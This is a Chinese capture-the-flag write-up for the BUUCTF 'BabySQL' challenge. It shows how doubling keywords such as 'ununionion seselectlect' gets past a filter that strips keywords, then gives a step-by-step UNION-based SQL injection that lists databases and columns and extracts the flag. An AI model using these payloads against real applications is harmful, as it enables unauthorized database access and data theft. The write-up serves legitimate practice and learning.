buuctf-[极客大挑战 2019]BabySQL(小宇特详解)

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)

这里看题的话是一道SQL注入。

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第1张图片

这里先尝试一下万能密码

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第2张图片

这里发现它过滤了or(直接删除了or)

这里尝试进行双写

也就是oorr,这里删除了or后又重新构造了一个or

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第3张图片

这里发现还是不行

这里先看一下双写union select 1

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第4张图片

这里发现不是报错,而是列数不对

当列数为3的时候对了

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第5张图片

然后这里就进行常规的sql注入即可

这里先进行爆库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第6张图片

然后爆出所有的数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第7张图片

这里看到了ctf库,爆破

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag" %23

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第8张图片

爆数据

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

buuctf-[极客大挑战 2019]BabySQL(小宇特详解)_第9张图片

你可能感兴趣的:(php,数据库,安全)